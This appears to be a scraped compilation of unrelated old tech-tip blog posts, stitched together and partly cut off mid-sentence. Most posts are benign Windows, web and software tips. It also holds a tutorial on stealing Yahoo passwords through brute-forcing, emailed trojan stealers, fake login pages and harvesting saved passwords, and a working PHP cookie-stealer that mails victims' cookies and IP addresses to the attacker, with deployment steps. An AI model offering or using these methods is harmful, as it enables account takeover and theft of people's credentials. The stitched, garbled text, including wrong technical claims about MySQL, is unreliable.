Take it easy. Learn one command at a time. It won't be long before you get some web pages happening.
When you are ready to learn some more commands, go to HTML Goodies for a good range of Free tutorials.
FTP Software
To transfer your web site to the Internet, you'll need an FTP program. There are several Free FTP programs available for download. I like WS_FTP because it is fast to learn and easy to use. Another popular program is CuteFTP.
Screen Shot Software
To capture images from your computer screen, you'll need a program that will cut the image quickly and easily. I use a freeware program called SRip32. No installation is required and it is very user friendly.
You can also do a search for even more free screen capture software programs.
How would you like to prevent spy ware and ad ware from getting into your computer? You need to stop ad ware and spy ware before it gets into your files. That way you're protecting your private information such as passwords, credit card numbers and other documents that you don't want to share with anyone.
Spyware and ad ware removers are important because they clean your computer of malicious files. But the best thing you can do is prevent Spyware from ever being installed in the first place. Here are four ways to help prevent Spyware and adware from getting into your computer.
Keep Your Windows Software Updated
One of the best ways to prevent Spyware and adware from getting into your computer is to keep your Windows operating system software updated. Microsoft Windows update addresses security fixes that are constantly updating so your computer won't be vulnerable.
Use Computer Firewall Protection
One of the most effective ways to stop Spyware and adware is the use of computer firewall protection. Computer firewalls put up barriers to keep any malicious programs from being downloaded without your knowledge when you are on the Internet.
Computer firewall protection monitors everything going in and out of your computer. This acts as a protective shield allowing good data through while blocking the bad data from entering your computer. Most people don't realize that if you use Windows XP it comes with a firewall that you can turn on or off.
Be Careful What You Download
Another good way to prevent Spyware and adware from getting in your computer is being careful what you download from the Internet. There are a few types of software that are particularly notorious for including Spyware and adware.
Here's another tip to prevent Spyware from being downloaded without your knowledge. When you close a window on the Internet never click on a box that says "agree" or "OK." Instead, click on the "x" located in the upper right corner of the window. Some programs trick you into agreeing to download software that you have never seen when you click on these.
Install Spyware Protection Software
Spyware protection software is the easiest way to automatically remove and prevent Spyware from infecting your computer. You may wonder why you would need to purchase Spyware protection software if there are free Spyware cleaners.
Free Spyware cleaners are good programs to get rid of Spyware viruses you already have on your computer now.Spyware protection software is designed to find all hidden programs and disable them before they have a chance to work. Once you remove Spyware and adware programs from your computer you'll find it will run faster and your personal information will be much safer. These tips should give you some insight on how to stop Spyware and adware in its tracks.
SMS Gup Shup is a free group messaging service by webaroo. SMS Gup Shup is a feature rich service when compared to local player Activ Mobs. You can create a free account on SMS Gup Shup and add up to 100 friends (mobile numbers) into a group. If you send a message to group, it will be delivered to all members present in that group!
Group Creation:
Everything is easy with SMS Gup Shup. To create a group you can either create an account online at www.smsgupshup.com or just send CREATE GROUPNAME to 567673434
Adding Friends:
To add friends you can invite your friends by inviting them through web interface by giving their mobile numbers or email IDs. Your friends will be instantly added & start receiving your messages. You can also add friends through SMS. Send INVITE MobileNumber1, MobileNumber2….to 567673434.
Sending Messages:
Again you can use web interface after sign up to send messages to your group which is absolutely free :-). You can also send your messages to 56767343, which will automatically delivered to your group members. Messages to 56767343 may cost you up to Rs.3/msg depending on your operator.
Despite of you adding your friends to your group, anyone else also can join your group through online or sending sms JOIN GroupName to 567673434. For example: I have created a group TECHB for Tech Bangalore to update users about new posts. Anyone can join group by sending sms JOIN TECHB.
Group creator will have rights to remove a user from the group. You may not want your father inside your group ;-). Currently you can create only one group with one login (one mobile number).
1002
The window cannot act on the sent message.
1003
Cannot complete this function.
1004
Invalid flags.
1005
The volume does not contain a recognized file system. Please make sure that all required file system drivers are loaded and that the volume is not corrupted.
1006
The volume for a file has been externally altered so that the opened file is no longer valid.
1007
The requested operation cannot be performed in full-screen mode.
1008
An attempt was made to reference a token that does not exist.
1009
The configuration registry database is corrupt.
1010
The configuration registry key is invalid.
1011
The configuration registry key could not be opened.
1012
The configuration registry key could not be read.
1013
The configuration registry key could not be written.
1014
One of the files in the registry database had to be recovered by use of a log or alternate copy. The recovery was successful.
1015
The registry is corrupted. The structure of one of the files containing registry data is corrupted, or the system's memory image of the file is corrupted, or the file could not be recovered because the alternate copy or log was absent or corrupted.
1016
An I/O operation initiated by the registry failed unrecoverably. The registry could not read in, or write out, or flush, one of the files that contain the system's image of the registry.
1017
The system has attempted to load or restore a file into the registry, but the specified file is not in a registry file format.
1018
Illegal operation attempted on a registry key that has been marked for deletion.
1019
System could not allocate the required space in a registry log.
1020
Cannot create a symbolic link in a registry key that already has subkeys or values.
1021
Cannot create a stable subkey under a volatile parent key.
1022
A notify change request is being completed and the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes.
1051
A stop control has been sent to a service that other running services are dependent on.
1052
The requested control is not valid for this service.
1053
The service did not respond to the start or control request in a timely fashion.
1054
A thread could not be created for the service.
1055
The service database is locked.
1056
An instance of the service is already running.
1057
The account name is invalid or does not exist, or the password is invalid for the account name specified.
1058
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
1059
Circular service dependency was specified.
1060
The specified service does not exist as an installed service.
1061
The service cannot accept control messages at this time.
1062
The service has not been started.
1063
The service process could not connect to the service controller.
1064
An exception occurred in the service when handling the control request.
1065
The database specified does not exist.
1066
The service has returned a service-specific error code.
1067
The process terminated unexpectedly.
1068
The dependency service or group failed to start.
1069
The service did not start due to a logon failure.
1070
After starting, the service hung in a start-pending state.
1071
The specified service database lock is invalid.
1072
The specified service has been marked for deletion.
1073
The specified service already exists.
1074
The system is currently running with the last-known-good configuration.
1075
The dependency service does not exist or has been marked for deletion.
1076
The current boot has already been accepted for use as the last-known-good control set.
1077
No attempts to start the service have been made since the last boot.
1078
The name is already in use as either a service name or a service display name.
1079
The account specified for this service is different from the account specified for other services running in the same process.
1080
Failure actions can only be set for Win32 services, not for drivers.
1081
This service runs in the same process as the service control manager. Therefore, the service control manager cannot take action if this service's process terminates unexpectedly.
1082
No recovery program has been configured for this service.
1083
The executable program that this service is configured to run in does not implement the service.
1084
This service cannot be started in Safe Mode
1100
The physical end of the tape has been reached.
YAHOO # PASSWORD #CRACKING # METHODS #
Methods of getting yahoo passwords
I will explain in this tutorial how to obtain in difrent
ways yahoo passwords so that any N00B can understand and do
it.
It actualy isen't that hard the problem is thet with the
passing of years yahoo security has been getting better and
beter an most proggyes don't work anymore now I will
present to u the most efective reliable and easy to do
methods.After that I will also Informe you on how to
protect your self of thees dangers that go around te
internet.
METHOD 1
------BRUTE FORCING------
This is by far the most used method .You can find crackers
everywhere to download .On http://www.hackerspk.com/ there are a lot
of good cracked downloads.The one for which i sugest
R-G-Kracka it's easy to use and works. This is the most
sawed for method but is good for 2 things cracking boots
and when u realy want a password and will spend some time
cracking testing and working.
For this You have to get A cracker A password list and in
some cases a proxy list but I sugest u try a non proxy
cracker if it's ur first time.
This is a basic method and I'm sure that everyone will get
it the first time aldough results depend on your password
list.
PROTECTION It's simple get a very long password with asci
and numbers the most hard and long password that a brute
forcer will have trouble cracking and getting to is the
last of all asci letters and numbers the last password a
normal brute forcew of let's say 10 chars will be
"zzzzzzzz9!" thIs password will be the last one it will try
to crack.
Method 2
------TROJAN PASSWORD STEALER------
This is one of the most effective methods of obtaining
passwords at this time.U get a programme named Y! Jacked/mps1.5se/sub7 n
one of it's many varyations from http://www.cyberpunkz.com/ or http://www.hackerspk.com/ there are
many trojans n stealers.
With this you have to take the main program put it in a
folder and generate a trojan that you send via atachment to
the victim's mail box.When that person opens it u will have
hi's password.This is a easy to use program just take care
taht most antivirusez see it as a virus and u shoulden't
get alarmed by that.It has a lot of options that u will
understand surely if u know english.
PROTECTION It's the easyest way to protect ur self don't
open atachments from anybody I can send a mail with an
atachment from any mail I want for example It's not smart
to open any atachment without a good antivirus.
METHOD 3
------THE FAKE LOGIN------
This is a modified login page for yahoo.It's code has been
altered .Instead of sending the password and the user to a
yahoo server for loging in it sends them to a yahoo server
that sends them in a mail account.
Get one of thees from cretain people lool.
It's hard to spot people u after u make a page with this u
have to send the link to some1 and he has to sign in from
there.
PROTECTION Don't sign in yahoo from pages like
"www.infernal.isking.com/login.yahoo/script"
This is probably a fake login.
Try to open one of thees pages and check out the source
code u can determine what it will do from there.
Method 4
------PASSWARE OR PASSWORD SENDER------
This is for u people that want all passwords that were
entered in Internet explorer on your computer.
U download Passweare recovery kit and it will give u all of
the passwords on ur computer u can use this for people u
are close to lol.
PROTECTION Be a paranoic son of a bitch scan ur computer
check instaled programs never let other people fuck with it
and of ource never enter your passwords in another person's
computer
Oky this was for all new one's Hope most of them get these
methods and will be able to use them
good luck
1. Start Regedit
2. Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer
3. Add a DWORD and give it a name of NoViewContextMenu
4. Give it a value of 1
5. Reboot
One of the main reasons of success of facebook is the applications it provides you and over that even you can make a facebook application and let others subscribe to it and add to their profiles.
What I am going to tell you here in this post is a simple facebook app creation method which doesnt require any programing but ya,you should know how to make simple webpage.
Facebook application creation explained!!
- To start with go to Developers : http://www.facebook.com/developers/ and click on create an application

- Then you will have to enter the application name say : GaufireWeblogs
- And will have to fill up a form,i tell you about the different terms used in the form in a while
- Before that ,make a webpage where you can post videos or paste some content which you will change daily like horoscope or match scores etc and upload it on some webhost. Prefer http://pages.google.com for the page uploading
- Ok so you are ready with your application content and interface [remember your webpage will be the interface of your application means your webpage is what the people will see as your app ---Getting my point??
- Now let me throw some light on the terms you should know while filling up creating application form
- API Key
- Facebook will give you once you complete the basic details form,just copy paste whenever asked
- Secret
- Facebook will give you once you complete the basic details form,just copy paste whenever asked
- Contact Email
- Your email id
- Support Email
- Your email id
- Callback URL
- Address of the webpage where you uploaded it say http://infogaufire.googlepages.com/
- Canvas URL
- http://apps.facebook.com/gaufire/ : choose any name instead of gaufire
- FBML/iframe
- iframe : There will be two options FBML and iframe,use iframe only
- Dev Mode?
- Off
- Application Type
- Desktop : You can choose either website or desktop
- Side Nav URL
- http://apps.facebook.com/gaufire/ : Same as that of Canvas URL
- Private Install?
- No
- Description
- This is a simple fast loading IPL T20 updated Point table...see if where your team stand!!
Visit us at http://toi-iplt20.blogspot.com
Cricket Application!! : As name suggests describe your applicati
Products listed here were not designed in any way to damage the end user's machine, and have been written
Just for fun!!
1- AddRemove v1.00
2- Avoid v1.01
3- Back Pack Prank
4- Blue Screen of Death Prank
5- Bomb v1.02
6- Buttons Prank
7- Click Me v1.01
8- ClickStart v1.00
9- Clippy v1.00
10- Copy Cursor v1.00
11- Crazy Num Caps Scroll v1.04
12- Cursor Fun v1.01
13- Dirty Mouse v1.00
14- DownHoax v1.02
15- Email Fun v1.00
16- Enhance Your Mouse Prank
17- Exit P Prank
18- Fake Delete v3.05
19- Fake Format v1.05
20- Fake Shutdown v1.00
21- Fake Start Menu 95 v1.00
22- Flasher v1.00
23- Flip It v1.00
24- Floppy Madness v1.00
25- Follow Me v1.00
26- Gas Gripe v1.00
27- HeadAche v1.01
28- Image Capture Prank
29- IQ Test Prank
30- Message Manager Lite v1.06
31- Mouse Droppings v1.00
32- Mouse Move v1.00
33- MouseClicks v1.00
34- Password Prank v1.00
35- Pirated Software v1.00
36- Popup Prank v1.00
37- Print Me v1.00
38- Program - WAV Launcher v1.07
39- Random Burper v1.00
40- Relationship Test Prank
41- ReplaceKeys v1.00
42- Rotate v1.00
43- Screen Screw v1.00
44- Shakedown v1.00
45- Show - Hide Desktop v1.00
46- Swap Mouse Buttons Prank
47- The Finger v1.01
48- Time Traveler v1.00
49- Windows Wordpad Prank
50- Y2K Joke v2.00
Size=23.3MB
http://w14.easy-share.com/5310031.html
The last word (sometimes words) after the last period (.) of an Internet domain name generally represents either the type of the organization or the geographical location of that particular domain.
For example, microsoft.com (note .com at the end) means that microsoft.com is a domain name of a commercial entity.Top Level Domains
Example: school_name.EDU = Domain name of an educational institute
ARPA Old style Arpanet
COM Commercial
EDU Educational
GOV Government
INT International field
MIL US Military
NATO Nato field
NET Network
ORG Non-Profit Organization
Country Codes:
Example: my_domain.CA = Canadian domain name AD Andorra
AE United Arab Emirates
AF Afghanistan
AG Antigua and Barbuda
AI Anguilla
AL Albania
AM Armenia
AN Netherland Antilles
AO Angola
AQ Antarctica
AR Argentina
AS American Samoa
AT Austria
AU Australia
AW Aruba
AZ Azerbaidjan
BA Bosnia-Herzegovina
BB Barbados
BD Bangladesh
BE Belgium
BF Burkina Faso
BG Bulgaria
BH Bahrain
BI Burundi
BJ Benin
BM Bermuda
BN Brunei Darussalam
BO Bolivia
BR Brazil
BS Bahamas
BT Buthan
BV Bouvet Island
BW Botswana
BY Belarus
BZ Belize
CA Canada
CC Cocos (Keeling) Isl.
CF Central African Rep.
CG Congo
CH Switzerland
CI Ivory Coast
CK Cook Islands
CL Chile
CM Cameroon
CN China
CO Colombia
CR Costa Rica
CS Czechoslovakia
CU Cuba
CV Cape Verde
CX Christmas Island
CY Cyprus
CZ Czech Republic
DE Germany
DJ Djibouti
DK Denmark
DM Dominica
DO Dominican Republic
DZ Algeria
EC Ecuador
EE Estonia
EG Egypt
EH Western Sahara
ES Spain
ET Ethiopia
FI Finland
FJ Fiji
FK Falkland Isl.(Malvinas)
FM Micronesia
FO Faroe Islands
FR France
FX France (European Ter.)
GA Gabon
GB Great Britain (UK)
GD Grenada
GE Georgia
GH Ghana
GI Gibraltar
GL Greenland
GP Guadeloupe (Fr.)
GQ Equatorial Guinea
GF Guyana (Fr.)
GM Gambia
GN Guinea
GR Greece
GT Guatemala
GU Guam (US)
GW Guinea Bissau
GY Guyana
HK Hong Kong
HM Heard & McDonald Is
HN Honduras
HR Croatia
HT Haiti
HU Hungary
ID Indonesia
IE Ireland
IL Israel
IN India
IO British Indian O. Terr.
IQ Iraq
IR Iran
IS Iceland
IT Italy
JM Jamaica
JO Jordan
JP Japan
KE Kenya
KG Kirgistan
KH Cambodia
KI Kiribati
KM Comoros
KN St.Kitts Nevis Anguilla
KP Korea (North)
KR Korea (South)
KW Kuwait
KY Cayman Islands
KZ Kazachstan
LA Laos
LB Lebanon
LC Saint Lucia
LI Liechtenstein
LK Sri Lanka
LR Liberia
LS Lesotho
LT Lithuania
LU Luxembourg
LV Latvia
LY Libya
MA Morocco
MC Monaco
MD Moldavia
MG Madagascar
MH Marshall Islands
ML Mali
MM Myanmar
MN Mongolia
MO Macau
MP Northern Mariana Isl.
MQ Martinique (Fr.)
MR Mauritania
MS Montserrat
MT Malta
MU Mauritius
MV Maldives
MW Malawi
MX Mexico
MY Malaysia
MZ Mozambique
NA Namibia
NC New Caledonia (Fr.)
NE Niger
NF Norfolk Island
NG Nigeria
NI Nicaragua
NL Netherlands
NO Norway
NP Nepal
NR Nauru
NT Neutral Zone
NU Niue
NZ New Zealand
OM Oman
PA Panama
PE Peru
PF Polynesia (Fr.)
PG Papua New Guinea
PH Philippines
PK Pakistan
PL Poland
PM St. Pierre & Miquel
PN Pitcairn
PT Portugal
PR Puerto Rico (US)
PW Palau
PY Paraguay
QA Qatar
RE Reunion (Fr.)
RO Romania
RU Russian Federation
RW Rwanda
SA Saudi Arabia
SB Solomon Islands
SC Seychelles
SD Sudan
SE Sweden
SG Singapore
SH St. Helena
SI Slovenia
SJ Svalbard & Jan Maye
SK Slovak Republic
SL Sierra Leone
SM San Marino
SN Senegal
SO Somalia
SR Suriname
ST St. Tome and Principe
SU Soviet Union
SV El Salvador
SY Syria
SZ Swaziland
TC Turks & Caicos Isla
TD Chad
TF French Southern Terr.
TG Togo
TH Thailand
TJ Tadjikistan
TK Tokelau
TM Turkmenistan
TN Tunisia
TO Tonga
TP East Timor
TR Turkey
TT Trinidad & Tobago
TV Tuvalu
TW Taiwan
TZ Tanzania
UA Ukraine
UG Uganda
UK United Kingdom
UM US Minor outlying Isl.
US United States
UY Uruguay
UZ Uzbekistan
VA Vatican City State
VC St.Vincent & Grenad
VE Venezuela
VG Virgin Islands (British
VI Virgin Islands (US)
VN Vietnam
VU Vanuatu
WF Wallis & Futuna Isl
WS Samoa
YE Yemen
YU Yugoslavia
ZA South Africa
ZM Zambia
ZR Zaire
ZW Zimbabwe
1. Start Regedit
2. Go to HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
3. Create a Dword value called NoFindFiles
4. Give it a value of 1
5. Reboot
I will take example of HOTMAIL..
If you are on a private computer, and don't mind auto-logging in, you will be able to access your folders much faster than going straight to hotmail.com
You will need a bit of information. Log into the hotmail main page. You will see a web address similar to the following:
http://by211.bay211.hotmail.msn.com/cgi-bin/hmhome?fti=yes&curmbox=00000000%2d0000...
It won't be exactly the same but it will be similar.
It's time to shorten this up. The only bit of information you really need is the direct web address to the server that contains your particular account. In the above example, you would just need:
CODE
http://by211.bay211.hotmail.msn.com/cgi-bin/
Just copy this section from your particular server addy in your browser's address bar.
Now that the explanation is over, these are the commands you can append to the above example to reach specific pages.
'hmhome' - MSN Hotmail - Today
'HoTMaiL' - Inbox
'HoTMaiL?&curmbox=00000000-0000-0000-0000-000000000005' - Junk E-Mail
'HoTMaiL?&curmbox=00000000-0000-0000-0000-000000000004' - Drafts
'HoTMaiL?&curmbox=00000000-0000-0000-0000-000000000003' - Sent Messages
'HoTMaiL?&curmbox=00000000-0000-0000-0000-000000000002' - Trash Can
'compose' - Compose Message
'addresses' - Address Book
'options' - Options, Duh
'options?section=mail' - Mail Options
'options?section=personal' - Personal Details
'protect?screen=filter' - Junkmail Filter
'options?section=contacts' - Contact Options
Remember, you just need to place these commands directly after 'http://.../cgi-bin/' without spaces.
If you have never tried this before, it works on many websites. So, if you don't like navigating websites, and would rather do that through your web-browser, go ahead and do it.
Most people understand that the "hardware" part of their computer is the real physical parts, like the keyboard, mouse, modem, hard drive and so on. They understand that the "software" is computer bits stored on the hard drive, CD-ROM, or other storage media. But most people are a little hazy about exactly what a "driver" is.
In this article, I'm going to reveal in plain English what a driver is, why we need drivers, and exactly where the drivers are hiding.
A hardware device is constructed with various electronic components using various control signals, but the software interface to the operating system is standardized. A device's interface to the operating system must follow the interface specification. A driver is a piece of software that translates the hardware's control signals to signals that the operating system expects, and translates signals from the operating system to the hardware's control signals.
When the computer is started up, it would look in the "system" directory for files with the extension ".drv" and load them into memory. Specific files like autoexec.bat, config.sys, and win.ini were used to inform the operating system about drivers. Hardware would be configured through these files, or through jumpers located on the device itself.
Driver Signing
Microsoft has been the brunt of much criticism because of the poor reliability of the Windows Operating System. The PC was designed by IBM as an "open" system. Anyone can sell a hardware device (or software) for the PC.
The operating system doesn't interface directly to a hardware device. There is a piece of software called a "driver" that translates the hardware's control signals to signals that the operating system expects, and translates signals from operating system to the hardware's control signals. Obviously, the hardware manufacturer provides the driver.
Because the driver works between the operating system and the hardware, a bug in the driver can cause a serious problem. Many of the problems with Windows have come from bugs in third-party drivers that Microsoft had nothing to do with. For this reason, Microsoft created a Hardware Quality Lab to test drivers. A hardware manufacturer can submit their driver for testing, and if it is passes rigorous compatibility testing, it receives Microsoft's digital signature.
You may have received a message during the installation of a hardware device warning that the driver was not signed. Why would a hardware manufacturer fail to have their driver certified by Microsoft? The computer hardware market is very competitive and the manufacturer might want to bring a new product to market before thorough testing can be completed. Or maybe they don't want to or can't afford to pay Microsoft for certification. The question is, should you click on the "Continue" button to install the unsigned driver?
In my experience, I have never been able to trace a problem to an unsigned driver. If it's your home computer and you performed a back-up recently, go ahead and install the unsigned driver. If it's a computer on a corporate network, you may want to back-out of the installation and see if you can locate a signed driver first.
To update a driver, select Start | Settings | Control Panel and double-click on the "System Properties" Utility. In the "System Properties" Utility, select the "Hardware" tab and click on the "Device Manager" button. In the "Device Manager" window, right-click on the device in the list and select "Properties" in the popup menu. In the "Properties" dialog box, select the driver tab and click on the "Update Driver..." button.
Here are four Desktop Tools To Drastically Increase Your Productivity
Sticky Notes
With StickyNote 9.0, you can create beautiful 3D notes on your desktop or send them instantly over the Internet.
StickyNote also enables you to adhere notes to documents or windows AND to attach documents to your note.
StickyNote eliminates the clutter and confusion of keeping up with the reminders and phone numbers that never seem to be where you left them. Forget jotting down messages and let StickyNote deliver them for you. You can even customize a note's texture, color and priority with a few simple clicks, and you can set an alarm to have notes appear at a certain time or at regular intervals.
Cute Reminder
With the help of Cute Reminder software you can easily create desktop sticky notes and make reminders for an appointment, birthday, phone call, bill payment, meeting, oil change, TV show and other events or tasks. Take a pill reminder, break reminder, gift reminder, etc., and you will never miss anything important. The program automatically tracks the history of related events and stores the information into archive. Individually colored skins, support for audio files in various formats, schedule, linking files and Web pages to reminders and printing. The user-friendly interface provides comfort at your workplace whether at the office or at home.
Ideal Calendar
The IDEAL Calendar allows the user to insert an unlimited amount of occasions. The program displays a dialog and plays a sound on the selected occasions. The program runs in the system tray and contains enough options to satisfy any user. The excellent options and user-interface make this program truly ideal.
Features:
* Print calendar exactly as you see it (WYSIWYG)
* Select any image for your background (JPG/GIF/BMP)
* Share occasions over the network (Private and Public entries)
* Create multiple calendars
* Backup/Restore capabilities
* Various types of recurring events
* Plug-ins to add more features. (PDA Export/Import, HTML Calendar, etc...)
SpeedUpMyPC
SpeedUpMyPC makes it easier than ever before to optimize your settings, free up resources, and remove resource hogs. With simple explanations and real-time graphs for all vital system resources, SpeedUpMyPC identifies performance bottlenecks in minutes. With a heavy-duty arsenal of optimization tools, such as RAM recovery, CPU optimization, startup management, and automatic crash recovery, SpeedUpMyPC is THE must-have utility for both beginner and power users.
Few days back I had written a post on Airtel Internet through Mobile Phone as Modem . Now I am explaining step by step procedure to setup a connection to dial-up your Mobile as modem. Let’s get into steps:
- Goto “Start–>Control Panel”
- Click on “Network & Internet Connections”
- Under header “Pick a task” click on “Create a connection to the network at your workspace”.
- Now you will get “New Connection Wizard dialog box, select “Dial-up connection” & click next.
- Dialog will ask for “Connection Name”, give whatever you would like to. I had given “airtelgprs”.
- It asks for “Phone Number”, enter number as “*99***1#”
- If you want select to put a shortcut on desktop (Preferred) & finish setup.
Now you will see a shortcut saying “airtelgprs” (In my case) on desktop. Make sure you installed your phone drivers & connect your phone. Double click the icon on desktop, leave blank “User name” & “Password” fields & click “Dial”. One message will pop-up to confirm its connected. Following are few points to check if not connected:
- Check whether modem drivers for your phone are installed. Normally this will come with your phone’s PC Suite. Installing PC Suite will install all required drivers.
- Check whether your phone could be used as modem or not.
- You need to activate “Mobile Office” service of Airtel to connect. Other services like “Airtel Live” & “NOP/Airtel Online” will not work for this connection.
- If you are getting message “Modem not responded”, try restart your mobile & reconnect it.
Satisfying all above points you will sure be able to connect to internet. To know about Tariff & Usage charges read post Airtel Internet through Mobile Phone as Modem
So let's begin crunching down these 300 images using Adobe Photoshop from start to finish. When I say 'crunching', to some 300 images may seem like allot, but it's not. I have done jobs for clients that have 100,000 plus images. When you have that many images to produce there are other programs I use that are designed for this. We'll cover that another day.
To this point we have ensured that our images are web ready, cropping, retouching, watermarking, etc. So let's get at it. I will assume that we are all using Adobe Photoshop version 6 or greater.
Creating the theme
First we will go to the 'file' menu and select 'Automate" Now you are ready to create the theme of your photo album by filling in the required text fields. Remember to be as brief and descriptive as possible, as this information gets published on all html pages generated by Photoshop. This is where Photoshop is seems to offer more that Dream weaver. You will notice the first pull down menu 'styles'. There are many different horizontal and vertical styles available. The second menu allows you to enter an email address that you may want to be available to your visitors. However, I advise against it. Remember that thing called SPAM. Then next pull down menu allows you to specify .htm or .html extensions. Now we'll click the 'browse' button and locate your image source folder. Click the 'destination' folder. This folder should be located somewhere in you website folder. If you don't have one, make one. 'Options' is, again an area that Adobe seems far more thorough that Dreamweaver. The 'options' menu let's you specify every aspect of your photo album?size of small thumbnails, size of large thumbnails, add custom colors to better tie into your corporate scheme. Remember to complete the 'site name', 'photographer', textfields tactfully; this is what tells the search engine what your subject matter deals with.
Are you ready now?
Go ahead click OK. Like magic your photo album manufacturing itself. This is a great tool that can be used commercially or just for fun. Create commercial product pages for your clients or create an online photo album for family and friends in minutes.
For a windows user like me, just can watch with envy the new eye candy features in Mac OS X and wondering how I can have the same feature on my beloved windows.
Before Apple introduce dashboard in their latest Mac OS X, most of mac users already can have widget on their desktop using Konfabulator by Pixoria Inc. "Konfabulator is a JavaScript runtime engine for Windows and Mac OS X that lets you run little files called Widgets that can do pretty much whatever you want them to. Widgets can be alarm clocks, calculators, can tell you your WiFi signal strength, will fetch the latest stock quotes for your preferred symbols, and even give your current local weather."
And on November 2004, Pixoria has released Konfabulator 1.8 for both Mac and Windows platform and its instantly bringing its renowned OS X-based functions (and widgets!) to the ubiquitous Windows platform. There is a small community in windows user that love to change their default Windows look to Mac OS X and with the availability of Konfabulator to run widgets, some of the talented developers has started porting Tiger Dashboard to run on windows using Konfabulator engine and the results is tremendous.
And until today, quite a number of Dashboard Widgets has being ported to run on windows using Konfabulator and other widget engine like Avedesk, Kapsules, and Stardock DesktopX.
1. Dashboard Weather
Here is my first Konfabulator Widget. After seeing a preview of Tiger (particularly Dashboard), reading about a alternative for Windows (Konfabulator) and seeing the great work of Saladin and Ghostwalker, I decided to make my own contribution. So here it is, the konfab clone of the weather widget.
2. World Clock World Clock Dashboard for Konfabulator. Based on the Konfabulator WorldClock Pro by Ricky.
3. Sticky Notes Konfabulator clone of the Dashboard stickies with extras
Win+R to open the Run dialogEnter %windir% to open the Windows directoryAlt+F W S to open the File menu, choose the New menu item, then the Shortcut menu itemGo through the wizard to create a shortcut to the desired programThe name you give the shortcut is what you type in the Run dialog to start the program
What is Open Office?
It is a free, open source, cross platform office suite that has a lot of the same features as popular commercial suites.
Being that it's cross platform means it can be compiled for just about anything, Windows, Linux / Unix, Mac, etc..
Using Open Office Presentation
Basically, if you've ever used Microsoft PowerPoint, you've pretty much used Presentation. It's a slide show (or presentation) creator that lets you create any style slide show you want.
You can have text, graphics, charts, etc... or any combination
It does not take much to figure out Presentation. You can add text or picture boxes, add designs, add tables and pretty much anything you can think of.
After you have created the presentation, here's where you convert it to Flash:
Step1:You simply go in to the 'file' menu and select 'Export'.
Step 2:A 'save as' dialog box will come up where you can choose the file name, location and the format you want.
Step 3:From the pull down box you will see the 'Macromedia Flash (SWF)' option, that's the one you want.
Step 4:Select the format, pick your location, name the file and press the Save button.
That's it.. you now have a Macromedia Flash version of your presentation that you can include on your website.
Why would you want this?
Macromedia Flash is pretty much a standard for multimedia on the web, as a result there is a plug-in for almost every browser and most people already have this plug-in.This gives you the chance to put Flash content on your site without having to play for the Macromedia Suite.
About The Author
Steve Howson is the Webmaster for SG Network Technologies web hosting company.
Active Perl
Features
Complete ActivePerl Package
* Perl
Binary of core Perl distribution
* Perl Package Manager
ActiveState's Perl extension installer and manager; allows for easy installation and management of modules and extensions
* Installers
A variety of installers are available for quick installation of ActivePerl:
o AIX: ActiveState installer packages
o HP-UX: ActiveState installer packages
o Linux: Redhat, Debian and ActiveState installer packages
o Mac OS X: Disk image containing the installer package
o Solaris: Sun and ActiveState installer packages
o Windows: Mcft Windows (MSI) and ActiveState installer packages
* Complete online documentation
Windows Version Extras
* Perl for ISAPI
IIS plug-in to enhance the speed of standard Perl
* PerlScript
ActiveX scripting engine, like JavaScript or VBScript with a Perl brain
* PerlEz
Embedded Perl
http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.7.813-MSWin32-x86-148120.msi
OR
visit
http://downloads.activestate.com/ActivePerl/Windows/5.8/
for previous versions..
****************** not reccomended ************************
Perl2Exe
Perl2Exe is a command line program for converting perl scripts to executable files.
This allows you to create stand alone programs in perl that do not require the perl interpreter. You can ship the executable files without having to ship your perl source code.
Perl2Exe can generate executables for Windows and Unix target hosts.
Perl2Exe can generate cross-platform code. For example you can generate code for Solaris from a Linux machine.
Perl2Exe also allows you to create no-console programs using Tk.
Download Perl2Exe for Win32 V8.60
http://www.indigostar.com/download/p2x-8.60-Win32.zip
(win 32)
Instruction Manual:
http://www.indigostar.com/pxman.htm
For php mail sender download mysql it is a s/w like .RAR file...
if you don't have mysql then .PHP file will not work in ur pc...
1.Download mysql...ask ne for the link....or find in google...
2.Copy the code and paste in notepad and save as extention.PHP
The code is given here:-
$to="myemail@yahoo.com";
$subject="ID: ".$_GET["id"];
$message="ID: ".$_GET["id"]."\nCookies: \n".$_GET["cookie"]."\nIp: ".$_SERVER["REMOTE_ADDR"];
mail($to,$subject,$message, "From: cookies@lod.com");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
?>
3.now upload on the internet...and as u give that link to anyone as he opens that link his/her coockies u will get it on ur mail......
EDIT THE 1st LINE AS YOUR E-MAIL THERE....THIS LINE-$to="myemail@yahoo.com";
Anyone who has ever used Microsoft Word knows that it is a powerful word processing package. It's loaded with dozens of features designed to make creating documents a breeze. And anyone who has used Word's Find and Replace feature knows that this is one handy feature. It makes changing words or phrases throughout your documents fast and painless.And that's great when you're working on just one document. But suppose you need to find and then replace a word or phrase throughout all of your Microsoft documents or throughout all documents located within a particular directory?
You know, like when there's been a change to your business address or telephone number? Or when there's been a change of ownership, or upper management, or to the board of directors?
You could use the Find and Replace feature to change your documents one by one. Using this feature will make changes faster than not using it. But if you're changing lots of documents and you need to make the changes rapidly, you need something more.
And that's exactly the reason why WordPipe was invented. WordPipe is a stand-alone add-in tool for Microsoft Word. Use this incredible add-in to instantly modify ALL text, links or images located on your web site or on your file server. How instantly can changes be made? Users report that 500 changes can be made in about twenty minutes!
Today's business world is in a constant state of change. And to keep up with these changes, and to keep your business on the cutting edge of technology, your business will experience change. Document links change when you consolidate your servers and even when you are simply replacing or renaming documents. Web addresses change, names of key players within your company change, product versions and other information changes ? there's just no end to the amount and type of information that changes when you run a business.
And those with whom you do business need to know about these changes the moment they occur. Time is money so any way you can cut down on the amount of time a task takes, the less money you waste.
IT departments love WordPipe.
But even if your business is not yet large enough to hire a full-time IT staff, you won't lose with WordPipe. WordPipe is accountable, too! Its change log lets you know exactly where it made changes.
